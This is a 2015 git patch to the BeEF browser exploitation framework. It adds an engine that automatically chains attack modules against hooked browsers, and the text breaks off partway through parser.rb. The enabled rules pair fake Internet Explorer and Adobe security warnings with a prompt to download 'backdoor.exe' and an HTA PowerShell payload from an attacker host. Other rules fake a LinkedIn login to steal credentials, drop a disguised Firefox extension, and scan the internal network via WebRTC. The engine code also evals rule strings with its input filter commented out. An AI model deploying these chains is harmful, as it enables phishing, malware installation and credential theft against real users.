From c84e1b88ac3acd2796161937b90682eb079e6726 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 27 Jul 2015 10:34:58 +0200 Subject: [PATCH] Autorun Rule Engine from @antisnatchor with love (alpha version). --- arerules/enabled/c_osx_test-return-mods.json | 35 ++ .../enabled/ff_tux_webrtc-internalip.json | 28 ++ .../ie_win_fakenotification-clippy.json | 31 ++ arerules/enabled/ie_win_htapowershell.json | 27 ++ arerules/ff_osx_extension-dropper.json | 20 + arerules/ie_win_missingflash-prettytheft.json | 27 ++ arerules/ie_win_test-return-mods.json | 50 ++ beef | 3 + config.yaml | 21 +- core/bootstrap.rb | 8 + core/filters/browser.rb | 1 + core/main/autorun_engine/engine.rb | 456 ++++++++++++++++++ core/main/autorun_engine/models/execution.rb | 30 ++ core/main/autorun_engine/models/rule.rb | 34 ++ core/main/autorun_engine/parser.rb | 75 +++ core/main/autorun_engine/rule_loader.rb | 95 ++++ core/main/client/are.js | 43 +- core/main/client/browser.js | 2 + core/main/client/init.js | 2 - core/main/client/net.js | 23 +- core/main/client/os.js | 85 ++-- core/main/client/timeout.js | 2 +- core/main/handlers/browserdetails.rb | 36 +- core/main/handlers/commands.rb | 11 +- core/main/handlers/hookedbrowsers.rb | 7 + core/main/handlers/modules/beefjs.rb | 2 +- core/main/handlers/modules/command.rb | 2 +- core/main/models/command.rb | 27 +- core/main/models/result.rb | 1 + core/main/rest/api.rb | 9 +- core/main/rest/handlers/autorun_engine.rb | 66 +++ core/main/server.rb | 2 +- extensions/evasion/config.yaml | 4 +- extensions/social_engineering/config.yaml | 2 +- .../powershell/powershell_payload | 34 +- .../hooked_domain/alert_dialog/command.js | 5 +- .../hooked_domain/get_page_html/command.js | 8 +- .../debug/test_return_ascii_chars/command.js | 5 +- .../debug/test_return_long_string/command.js | 5 +- .../host/get_internal_ip_webrtc/command.js | 25 +- .../fake_notification_c/command.js | 3 +- .../extension/build/readme.txt | 1 - .../hta_powershell/command.js | 4 +- test/integration/ts_integration.rb | 4 +- 44 files changed, 1208 insertions(+), 153 deletions(-) create mode 100644 arerules/enabled/c_osx_test-return-mods.json create mode 100644 arerules/enabled/ff_tux_webrtc-internalip.json create mode 100644 arerules/enabled/ie_win_fakenotification-clippy.json create mode 100644 arerules/enabled/ie_win_htapowershell.json create mode 100644 arerules/ff_osx_extension-dropper.json create mode 100644 arerules/ie_win_missingflash-prettytheft.json create mode 100644 arerules/ie_win_test-return-mods.json create mode 100644 core/main/autorun_engine/engine.rb create mode 100644 core/main/autorun_engine/models/execution.rb create mode 100644 core/main/autorun_engine/models/rule.rb create mode 100644 core/main/autorun_engine/parser.rb create mode 100644 core/main/autorun_engine/rule_loader.rb create mode 100644 core/main/rest/handlers/autorun_engine.rb delete mode 100644 modules/social_engineering/firefox_extension_dropper/extension/build/readme.txt diff --git a/arerules/enabled/c_osx_test-return-mods.json b/arerules/enabled/c_osx_test-return-mods.json new file mode 100644 index 000000000..352902081 --- /dev/null +++ b/arerules/enabled/c_osx_test-return-mods.json @@ -0,0 +1,35 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "S", + "browser_version": "== 8", + "os": "OSX", + "os_version": "<= 10.10", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--(DUPA)--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--(SUTEK)--';", + "options":{"text":"<>"} + }, + { + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/arerules/enabled/ff_tux_webrtc-internalip.json b/arerules/enabled/ff_tux_webrtc-internalip.json new file mode 100644 index 000000000..ad1734eff --- /dev/null +++ b/arerules/enabled/ff_tux_webrtc-internalip.json @@ -0,0 +1,28 @@ +{"name": "Get Internal IP (WebRTC)", + "author": "antisnatchor", + "browser": "FF", + "browser_version": ">= 30", + "os": "Linux", + "os_version": "ALL", + "modules": [ + {"name": "get_internal_ip_webrtc", + "condition": null, + "code": null, + "options": {} + }, + {"name": "internal_network_fingerprinting", + "condition": "status==1", + "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start=parseInt(s[3])-1;var end=parseInt(s[3])+1;var mod_input = s[0]+'.'+s[1]+'.'+s[2]+'.'+start+'-'+s[0]+'.'+s[1]+'.'+s[2]+'.'+end;", + "options": { + "ipRange":"<>", + "ports":"80", + "threads":"5", + "wait":"2", + "timeout":"10" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0, 0], + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/arerules/enabled/ie_win_fakenotification-clippy.json b/arerules/enabled/ie_win_fakenotification-clippy.json new file mode 100644 index 000000000..05c017161 --- /dev/null +++ b/arerules/enabled/ie_win_fakenotification-clippy.json @@ -0,0 +1,31 @@ +{ + "name": "Ie Fake Notification + Clippy", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "== 11", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it." + } + } + ,{ + "name": "clippy", + "condition": null, + "options": { + "clippydir": "http://clippy.ajbnet.com/1.0.0/", + "askusertext": "Your browser appears to be out of date. Would you like to upgrade it?", + "executeyes": "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", + "respawntime":"5000", + "thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!" + } + } + ], + "execution_order": [0,1], + "execution_delay": [0,2000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/arerules/enabled/ie_win_htapowershell.json b/arerules/enabled/ie_win_htapowershell.json new file mode 100644 index 000000000..40e677b8f --- /dev/null +++ b/arerules/enabled/ie_win_htapowershell.json @@ -0,0 +1,27 @@ +{ + "name": "HTA PowerShell", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "ALL", + "os": "Windows", + "os_version": ">= 7", + "modules": [ + { + "name": "fake_notification_ie", + "condition": null, + "options": { + "notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:" + } + }, + { + "name": "hta_powershell", + "condition": null, + "options": { + "domain":"http://172.16.45.1:3000", + "ps_url":"/ps" + } + }], + "execution_order": [0,1], + "execution_delay": [0,500], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/arerules/ff_osx_extension-dropper.json b/arerules/ff_osx_extension-dropper.json new file mode 100644 index 000000000..64575f0dc --- /dev/null +++ b/arerules/ff_osx_extension-dropper.json @@ -0,0 +1,20 @@ +{ + "name": "Firefox Extension Dropper", + "author": "antisnatchor", + "browser": "FF", + "browser_version": "ALL", + "os": "OSX", + "os_version": ">= 10.8", + "modules": [{ + "name": "firefox_extension_dropper", + "condition": null, + "options": { + "extension_name": "DownThem All - Download Manager", + "xpi_name": "Down-Them-All", + "base_host": "http://127.0.0.1:3000" + } + }], + "execution_order": [0], + "execution_delay": [0], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/arerules/ie_win_missingflash-prettytheft.json b/arerules/ie_win_missingflash-prettytheft.json new file mode 100644 index 000000000..e7620f677 --- /dev/null +++ b/arerules/ie_win_missingflash-prettytheft.json @@ -0,0 +1,27 @@ +{ + "name": "Fake missing plugin + Pretty Theft LinkedIn", + "author": "antisnatchor", + "browser": "IE", + "browser_version": ">= 8", + "os": "Windows", + "os_version": "== XP", + "modules": [{ + "name": "fake_notification_c", + "condition": null, + "options": { + "url": "http://172.16.45.1:3000/updates/backdoor.exe", + "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. " + } + }, { + "name": "pretty_theft", + "condition": null, + "options": { + "choice": "Windows", + "backing": "Grey", + "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png" + } + }], + "execution_order": [0, 1], + "execution_delay": [0, 5000], + "chain_mode": "sequential" +} \ No newline at end of file diff --git a/arerules/ie_win_test-return-mods.json b/arerules/ie_win_test-return-mods.json new file mode 100644 index 000000000..19d22fc71 --- /dev/null +++ b/arerules/ie_win_test-return-mods.json @@ -0,0 +1,50 @@ +{ + "name": "Test return debug stuff", + "author": "antisnatchor", + "browser": "IE", + "browser_version": "<= 8", + "os": "Windows", + "os_version": ">= XP", + "modules": [{ + "name": "test_return_ascii_chars", + "condition": null, + "options": {} + }, { + "name": "test_return_long_string", + "condition": "status==1", + "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';", + "options": { + "repeat": "10", + "repeat_string": "<>" + } + }, + { + "name": "alert_dialog", + "condition": "status=1", + "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';", + "options":{"text":"<>"} + }, + { + // this doesn't execute atm as the setInterval call loops infinitely. Add a timeout of X second to continue anyway. + "name": "get_page_html", + "condition": null, + "options": {} + }], + "execution_order": [0, 1, 2, 3], + "execution_delay": [0, 0, 0, 0], + /* chain_mode can be 'sequential' or 'nested-forward': + # + # - sequential chain with delays (setTimeout stuff) + # ex.: setTimeout(module_one(), 0); + # setTimeout(module_two(), 2000); + # setTimeout(module_three(), 3000); + # + # - nested forward chain with status checks (setInterval to wait for command to return from async operations) + # ex.: module_one() + # if result == success + # module_two(module_one_output) + # if result == success + # module_three(module_two_output) + #*/ + "chain_mode": "nested-forward" +} \ No newline at end of file diff --git a/beef b/beef index 2398e5cda..fa45444de 100755 --- a/beef +++ b/beef @@ -130,6 +130,9 @@ end # @note Call the API method 'pre_http_start' BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) +# Load any ARE (Autorun Rule Engine) rules scanning the /arerules/enabled directory +BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory + # @note Start the HTTP Server, we additionally check whether we load the Console Shell or not if config.get("beef.extension.console.shell.enable") == true require 'extensions/console/shell' diff --git a/config.yaml b/config.yaml index cde2cb06f..a330c5774 100644 --- a/config.yaml +++ b/config.yaml @@ -75,7 +75,6 @@ beef: type: "apache" # Supported: apache, iis, nginx hook_404: false # inject BeEF hook in HTTP 404 responses hook_root: false # inject BeEF hook in the server home page - # Experimental HTTPS support for the hook / admin / all other Thin managed web services https: enable: false @@ -102,10 +101,10 @@ beef: # db connection information is only used for mysql/postgres db_host: "localhost" - db_port: 5432 + db_port: 3306 db_name: "beef" db_user: "beef" - db_passwd: "beef123" + db_passwd: "beef" db_encoding: "UTF-8" # Credentials to authenticate in BeEF. @@ -114,12 +113,18 @@ beef: user: "beef" passwd: "beef" - # Autorun modules as soon the browser is hooked. - # NOTE: only modules with target type 'working' or 'user_notify' can be run automatically. + # Autorun Rule Engine autorun: - enable: true - # set this to TRUE if you want to allow auto-run execution for modules with target->user_notify - allow_user_notify: true + # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval + # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually + # continue execution regardless of results. + # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout. + result_poll_interval: 300 + result_poll_timeout: 5000 + + # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain. + # This is useful to call modules (nested-forward chain mode) that are not returning their status/results. + continue_after_timeout: true # Enables DNS lookups on zombie IP addresses dns_hostname_lookup: false diff --git a/core/bootstrap.rb b/core/bootstrap.rb index a0579922c..d4f99d1db 100644 --- a/core/bootstrap.rb +++ b/core/bootstrap.rb @@ -32,6 +32,13 @@ require 'core/main/network_stack/api' # @note Include the distributed engine require 'core/main/distributed_engine/models/rules' +# @note Include the autorun engine +require 'core/main/autorun_engine/models/rule' +require 'core/main/autorun_engine/models/execution' +require 'core/main/autorun_engine/parser' +require 'core/main/autorun_engine/engine' +require 'core/main/autorun_engine/rule_loader' + ## @note Include helpers require 'core/module' require 'core/modules' @@ -46,6 +53,7 @@ require 'core/main/rest/handlers/categories' require 'core/main/rest/handlers/logs' require 'core/main/rest/handlers/admin' require 'core/main/rest/handlers/server' +require 'core/main/rest/handlers/autorun_engine' require 'core/main/rest/api' ## @note Include Websocket diff --git a/core/filters/browser.rb b/core/filters/browser.rb index 49298f4f0..d40758c37 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -54,6 +54,7 @@ module Filters return false if not is_non_empty_string?(str) return false if has_non_printable_char?(str) return true if str.eql? "UNKNOWN" + return true if str.eql? "ALL" return false if not nums_only?(str) and not is_valid_float?(str) return false if str.length > 10 true diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb new file mode 100644 index 000000000..e3ddcec8e --- /dev/null +++ b/core/main/autorun_engine/engine.rb @@ -0,0 +1,456 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module AutorunEngine + + class Engine + + include Singleton + + def initialize + @config = BeEF::Core::Configuration.instance + + @result_poll_interval = @config.get('beef.autorun.result_poll_interval') + @result_poll_timeout = @config.get('beef.autorun.result_poll_timeout') + @continue_after_timeout = @config.get('beef.autorun.continue_after_timeout') + + @debug_on = @config.get('beef.debug') + + @VERSION = ['<','<=','==','>=','>','ALL'] + @VERSION_STR = ['XP','Vista'] + end + + + # Prepare and return the JavaScript of the modules to be sent. + # It also updates the rules ARE execution table with timings + def trigger(rule_ids, hb_id) + + hb = BeEF::HBManager.get_by_id(hb_id) + hb_session = hb.session + + rule_ids.each do |rule_id| + rule = BeEF::Core::AutorunEngine::Models::Rule.get(rule_id) + modules = JSON.parse(rule.modules) + + execution_order = JSON.parse(rule.execution_order) + execution_delay = JSON.parse(rule.execution_delay) + chain_mode = rule.chain_mode + + mods_bodies = Array.new + mods_codes = Array.new + mods_conditions = Array.new + + modules.each do |cmd_mod| + mod = BeEF::Core::Models::CommandModule.first(:name => cmd_mod['name']) + options = [] + replace_input = false + cmd_mod['options'].each do|k,v| + options.push({'name' => k, 'value' => v}) + replace_input = true if v == '<>' + end + + command_body = prepare_command(mod, options, hb_id, replace_input) + mods_bodies.push(command_body) + mods_codes.push(cmd_mod['code']) + mods_conditions.push(cmd_mod['condition']) + end + + # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper + case chain_mode + when 'nested-forward' + wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order) + when 'sequential' + wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay) + else + wrapper = nil + # TODO catch error, which should never happen as values are checked way before ;-) + end + + are_exec = BeEF::Core::AutorunEngine::Models::Execution.new( + :session => hb_session, + :mod_count => modules.length, + :mod_successful => 0, + :mod_body => wrapper, + :is_sent => false, + :rule_id => rule_id + ) + are_exec.save + # Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-) + print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}" + end + end + + + # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. + # Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed)] + # - sequential chain with delays (setTimeout stuff) + # ex.: setTimeout(module_one(), 0); + # setTimeout(module_two(), 2000); + # setTimeout(module_three(), 3000); + # Note: no result status is checked here!! Useful if you just want to launch a bunch of modules without caring + # what their status will be (for instance, a bunch of XSRFs on a set of targets) + def prepare_sequential_wrapper(mods, order, delay) + wrapper = '' + delayed_exec = '' + c = 0 + + while c < mods.length + delayed_exec += %Q| setTimeout("#{mods[order[c]][:mod_name]}();", #{delay[c]}); | + wrapped_mod = "#{mods[order[c]][:mod_body]}\n" + wrapper += wrapped_mod + c += 1 + end + wrapper += delayed_exec + print_more "Final Modules Wrapper:\n #{delayed_exec}" if @debug_on + wrapper + end + + # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. + # Launch order is also taken care of (TODO execution is not nested right now, check if it should be changed) + # - nested forward chain with status checks (setInterval to wait for command to return from async operations) + # ex.: module_one() + # if result == success + # module_two(module_one_output) + # if result == success + # module_three(module_two_output) + # + # Note: command result status is checked, and you can properly chain input into output, having also + # the flexibility of slightly mangling it to adapt to module needs. + # Note: Useful in situations where you want to launch 2 modules, where the second one will execute only + # if the first once return with success. Also, the second module has the possibility of mangling first + # module output and use it as input for some of its module inputs. + def prepare_nested_forward_wrapper(mods, code, conditions, order) + wrapper, delayed_exec = '','' + delayed_exec_footers = Array.new + c = 0 + + while c < mods.length + if mods.length == 1 + i = c + else + i = c + 1 + end + + code_snippet = '' + mod_input = '' + if code[c] != 'null' && code[c] != '' + code_snippet = code[c] + mod_input = 'mod_input' + end + + conditions[i] = true if conditions[i] == nil || conditions[i] == '' + + if c == 0 + # this is the first wrapper to prepare + delayed_exec += %Q| + function #{mods[order[c]][:mod_name]}_f(){ + #{mods[order[c]][:mod_name]}(); + + // TODO add timeout to prevent infinite loops + function isResReady(mod_result, start){ + if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ + // loop + }else{ + // module return status/data is now available + clearInterval(resultReady); + if (mod_result === null && #{@continue_after_timeout}){ + var mod_result = []; + mod_result[0] = 1; //unknown status + mod_result[1] = '' //empty result + } + var status = mod_result[0]; + if(#{conditions[i]}){ + #{mods[order[i]][:mod_name]}_can_exec = true; + #{mods[order[c]][:mod_name]}_mod_output = mod_result[1]; + | + + delayed_exec_footer = %Q| + } + } + } + var start = (new Date()).getTime(); + var resultReady = setInterval(function(){var start = (new Date()).getTime(); isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval}); + } + #{mods[order[c]][:mod_name]}_f(); + | + + delayed_exec_footers.push(delayed_exec_footer) + + elsif c < mods.length - 1 + # this is one of the wrappers in the middle of the chain + delayed_exec += %Q| + function #{mods[order[c]][:mod_name]}_f(){ + if(#{mods[order[c]][:mod_name]}_can_exec){ + #{code_snippet} + #{mods[order[c]][:mod_name]}(#{mod_input}); + function isResReady(mod_result, start){ + if (mod_result === null && parseInt(((new Date().getTime()) - start)) < #{@result_poll_timeout}){ + // loop + }else{ + // module return status/data is now available + clearInterval(resultReady); + if (mod_result === null && #{@continue_after_timeout}){ + var mod_result = []; + mod_result[0] = 1; //unknown status + mod_result[1] = '' //empty result + } + var status = mod_result[0]; + if(#{conditions[i]}){ + #{mods[order[i]][:mod_name]}_can_exec = true; + #{mods[order[c]][:mod_name]}_mod_output = mod_result[1]; + | + + delayed_exec_footer = %Q| + } + } + } + var start = (new Date()).getTime(); + var resultReady = setInterval(function(){ isResReady(#{mods[order[c]][:mod_name]}_mod_output, start);},#{@result_poll_interval}); + } + } + #{mods[order[c]][:mod_name]}_f(); + | + + delayed_exec_footers.push(delayed_exec_footer) + else + # this is the last wrapper to prepare + delayed_exec += %Q| + function #{mods[order[c]][:mod_name]}_f(){ + if(#{mods[order[c]][:mod_name]}_can_exec){ + #{code_snippet} + #{mods[order[c]][:mod_name]}(#{mod_input}); + } + } + #{mods[order[c]][:mod_name]}_f(); + | + end + wrapped_mod = "#{mods[order[c]][:mod_body]}\n" + wrapper += wrapped_mod + c += 1 + end + wrapper += delayed_exec + delayed_exec_footers.reverse.join("\n") + print_more "Final Modules Wrapper:\n #{delayed_exec + delayed_exec_footers.reverse.join("\n")}" if @debug_on + wrapper + end + + + # prepare the command module (compiling the Erubis templating stuff), eventually obfuscate it, + # and store it in the database. + # Returns the raw module body after template substitution. + def prepare_command(mod, options, hb_id, replace_input) + config = BeEF::Core::Configuration.instance + begin + command = BeEF::Core::Models::Command.new( + :data => options.to_json, + :hooked_browser_id => hb_id, + :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod.name}.db.id"), + :creationdate => Time.new.to_i, + :instructions_sent => true + ) + command.save + + command_module = BeEF::Core::Models::CommandModule.first(:id => mod.id) + if (command_module.path.match(/^Dynamic/)) + # metasploit and similar integrations + command_module = BeEF::Modules::Commands.const_get(command_module.path.split('/').last.capitalize).new + else + # normal modules always here + key = BeEF::Module.get_key_by_database_id(mod.id) + command_module = BeEF::Core::Command.const_get(config.get("beef.module.#{key}.class")).new(key) + end + + hb = BeEF::HBManager.get_by_id(hb_id) + hb_session = hb.session + command_module.command_id = command.id + command_module.session_id = hb_session + command_module.build_datastore(command.data) + command_module.pre_send + + build_missing_beefjs_components(command_module.beefjs_components) unless command_module.beefjs_components.empty? + + if config.get("beef.extension.evasion.enable") + evasion = BeEF::Extension::Evasion::Evasion.instance + command_body = evasion.obfuscate(command_module.output) + "\n\n" + else + command_body = command_module.output + "\n\n" + end + + # @note prints the event to the console + print_more "Preparing JS for command id [#{command.id}], module [#{mod.name}]" + + replace_input ? mod_input = 'mod_input' : mod_input = '' + result = %Q| + var #{mod.name} = function(#{mod_input}){ + #{clean_command_body(command_body, replace_input)} + }; + var #{mod.name}_can_exec = false; + var #{mod.name}_mod_output = null; + | + + return {:mod_name => mod.name, :mod_body => result} + rescue => e + print_error e.message + print_debug e.backtrace.join("\n") + end + end + + # Removes the beef.execute wrapper in order that modules are executed in the ARE wrapper, rather than + # using the default behavior of adding the module to an array and execute it at polling time. + # + # Also replace <> with mod_input variable if needed for chaining module output/input + def clean_command_body(command_body, replace_input) + begin + cmd_body = command_body.lines.map(&:chomp) + wrapper_start_index,wrapper_end_index = nil + cmd_body.each_with_index do |line, index| + if line.include?('beef.execute(function()') + wrapper_start_index = index + break + end + end + + cmd_body.reverse.each_with_index do |line, index| + if line.include?('});') + wrapper_end_index = index + break + end + end + + cleaned_cmd_body = cmd_body.slice(wrapper_start_index+1..-(wrapper_end_index+2)).join("\n") + + # check if <> should be replaced with a variable name (depending if the variable is a string or number) + if replace_input + if cleaned_cmd_body.include?('"<>"') + final_cmd_body = cleaned_cmd_body.gsub('"<>"','mod_input') + elsif cleaned_cmd_body.include?('\'<>\'') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') + elsif cleaned_cmd_body.include?('<>') + final_cmd_body = cleaned_cmd_body.gsub('\'<>\'','mod_input') + else + return cleaned_cmd_body + end + return final_cmd_body + else + return cleaned_cmd_body + end + rescue => e + print_error "[ARE] There is likely a problem with the module's command.js parsing. Check Engine.clean_command_body.dd" + end + end + + + # Checks if there are any ARE rules to be triggered for the specified hooked browser + # + # Note: browser version checks are supporting only major versions, ex: C 43, IE 11 + # Note: OS version checks are supporting major/minor versions, ex: OSX 10.10, Windows 8.1 + # + # Returns an array with rule IDs that matched and should be triggered. + # if rule_id is specified, checks will be executed only against the specified rule (useful + # for dynamic triggering of new rulesets ar runtime) + def match(browser, browser_version, os, os_version, rule_id=nil) + match_rules = [] + if rule_id != nil + rules = [BeEF::Core::AutorunEngine::Models::Rule.get(rule_id)] + else + rules = BeEF::Core::AutorunEngine::Models::Rule.all(:browser => browser) + end + return nil if rules == nil + + print_info "[ARE] Checking if any defined rules should be triggered on target." + # TODO handle cases where there are multiple ARE rules for the same hooked browser. + # TODO the above works well, but maybe rules need to have priority or something? + rules.each do |rule| + begin + browser_match, os_match = false, false + # The following is to protect from potential RCE if someone uploads a rule containing a payload + # as the version condition. In this way we ensure that only <,>,= and the ALL string are allowed as characters, + # effectively nullifying the risk of eval() usage. We need eval() here for easy match-making of versions + + # TODO the character > can be used to redirect output in RCE vectors, play with it + # next unless BeEF::Filters::only?("a-zA-Z0-9", browser) && + # BeEF::Filters::only?("a-zA-Z0-9.<=>", browser_version) && + # BeEF::Filters::only?("a-zA-Z0-9", os) && + # BeEF::Filters::only?("a-zA-Z0-9.<=>", os_version) + + b_ver_cond = rule.browser_version.split(' ').first + b_ver = rule.browser_version.split(' ').last + + os_ver_rule_cond = rule.os_version.split(' ').first + os_ver_rule_maj = rule.os_version.split(' ').last.split('.').first + os_ver_rule_min = rule.os_version.split(' ').last.split('.').last + + # Most of the times Linux/*BSD OS doesn't return any version (TODO: improve OS detection on these operating systems) + if os_version != nil && !@VERSION_STR.include?(os_version) + os_ver_hook_maj = os_version.split('.').first + os_ver_hook_min = os_version.split('.').last + + # the following assignments to 0 are need for later checks like: + # 8.1 >= 7, because if the version doesn't have minor versions, maj/min are the same + os_ver_hook_min = 0 if os_version.split('.').length == 1 + os_ver_rule_min = 0 if rule.os_version.split('.').length == 1 + else + # most probably Windows XP or Vista. the following is a hack as Microsoft had the brilliant idea + # to switch from strings to numbers in OS versioning. To prevent rewriting code later on, + # we say that XP is Windows 5.0 and Vista is Windows 6.0. Easier for comparison later on. + os_ver_hook_maj, os_ver_hook_min = 5, 0 if os_version == 'XP' + os_ver_hook_maj, os_ver_hook_min = 6, 0 if os_version == 'Vista' + end + + os_ver_rule_maj, os_ver_rule_min = 5, 0 if os_ver_rule_maj == 'XP' + os_ver_rule_maj, os_ver_rule_min = 6, 0 if os_ver_rule_min == 'Vista' + + next unless @VERSION.include?(b_ver_cond) + next unless BeEF::Filters::is_valid_browserversion?(b_ver) + + next unless @VERSION.include?(os_ver_rule_cond) || @VERSION_STR.include?(os_ver_rule_cond) + # os_ver without checks as it can be very different or even empty, for instance on linux/bsd) + + # check if the browser and OS types do match + next unless browser == 'ALL' || browser == rule.browser + next unless os == 'ALL' || os == rule.os + + # check if the browser version match + if b_ver_cond == 'ALL' + browser_match = true + browser_version_match = true + else + browser_version_match = eval(browser_version.to_s + rule.browser_version) + browser_match = true if browser_version_match + end + + print_more "Browser version check -> (hook) #{browser_version.to_s} #{rule.browser_version} (rule) : #{browser_version_match}" + + # check if the OS versions match + if os_version != nil || rule.os_version != 'ALL' + os_major_version_match = eval(os_ver_hook_maj.to_s + os_ver_rule_cond + os_ver_rule_maj.to_s) + os_minor_version_match = eval(os_ver_hook_min.to_s + os_ver_rule_cond + os_ver_rule_min.to_s) + else + # os_version_match = true if (browser doesn't return an OS version || rule OS version is ALL ) + os_major_version_match, os_minor_version_match = true, true + end + + os_match = true if os_ver_rule_cond == 'ALL' || (os_major_version_match && os_minor_version_match) + print_more "OS version check -> (hook) #{os_version} #{rule.os_version} (rule): #{os_major_version_match && os_minor_version_match}" + + if browser_match && os_match + print_more "Hooked browser and OS type/version MATCH rule: #{rule.name}." + match_rules.push(rule.id) + end + rescue => e + print_error e.message + print_debug e.backtrace.join("\n") + end + end + print_more "Found [#{match_rules.length}/#{rules.length}] ARE rules matching the hooked browser type/version." + + return match_rules + end + + end + end + end +end diff --git a/core/main/autorun_engine/models/execution.rb b/core/main/autorun_engine/models/execution.rb new file mode 100644 index 000000000..e9759b832 --- /dev/null +++ b/core/main/autorun_engine/models/execution.rb @@ -0,0 +1,30 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +module BeEF + module Core + module AutorunEngine + module Models + # @note Stored info about the execution of the ARE on hooked browsers. + class Execution + + include DataMapper::Resource + + storage_names[:default] = 'core_areexecution' + + property :id, Serial + property :session, Text # hooked browser session where a ruleset triggered + property :mod_count, Integer # number of command modules of the ruleset + property :mod_successful, Integer # number of command modules that returned with success + # By default Text is only 65K, so field length increased to 1 MB + property :mod_body, Text, :length => 1024000 # entire command module(s) body to be sent + property :exec_time, String, :length => 15 # timestamp of ruleset triggering + property :is_sent, Boolean + end + end + end + end +end diff --git a/core/main/autorun_engine/models/rule.rb b/core/main/autorun_engine/models/rule.rb new file mode 100644 index 000000000..52efdd099 --- /dev/null +++ b/core/main/autorun_engine/models/rule.rb @@ -0,0 +1,34 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +module BeEF + module Core + module AutorunEngine + module Models + # @note Table stores the rules for the Distributed Engine. + class Rule + include DataMapper::Resource + + storage_names[:default] = 'core_arerules' + + property :id, Serial + property :name, Text # rule name + property :author, String # rule author + property :browser, String, :length => 10 # browser name + property :browser_version, String, :length => 10 # browser version + property :os, String, :length => 10 # OS name + property :os_version, String, :length => 10 # OS version + property :modules, Text # JSON stringyfied representation of the JSON rule for further parsing + property :execution_order, Text # command module execution order + property :execution_delay, Text # command module time delays + property :chain_mode, String, :length => 40 # rule chaining mode + + has n, :executions + end + end + end + end +end diff --git a/core/main/autorun_engine/parser.rb b/core/main/autorun_engine/parser.rb new file mode 100644 index 000000000..65eb91bdb --- /dev/null +++ b/core/main/autorun_engine/parser.rb @@ -0,0 +1,75 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +module BeEF + module Core + module AutorunEngine + + class Parser + + include Singleton + + def initialize + @config = BeEF::Core::Configuration.instance + end + + BROWSER = ['FF','C','IE','S','O','ALL'] + OS = ['Linux','Windows','OSX','Android','iOS','BlackBerry','ALL'] + VERSION = ['<','<=','==','>=','>','ALL','Vista','XP'] + CHAIN_MODE = ['sequential','nested-forward'] + + # Parse a JSON ARE file and returns an Hash with the value mappings + def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode) + begin + success = [true] + + return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode) + return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name) + return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author) + + return [false, 'Illegal browser definition'] unless BROWSER.include?(browser) + return [false, 'Illegal browser_version definition'] unless 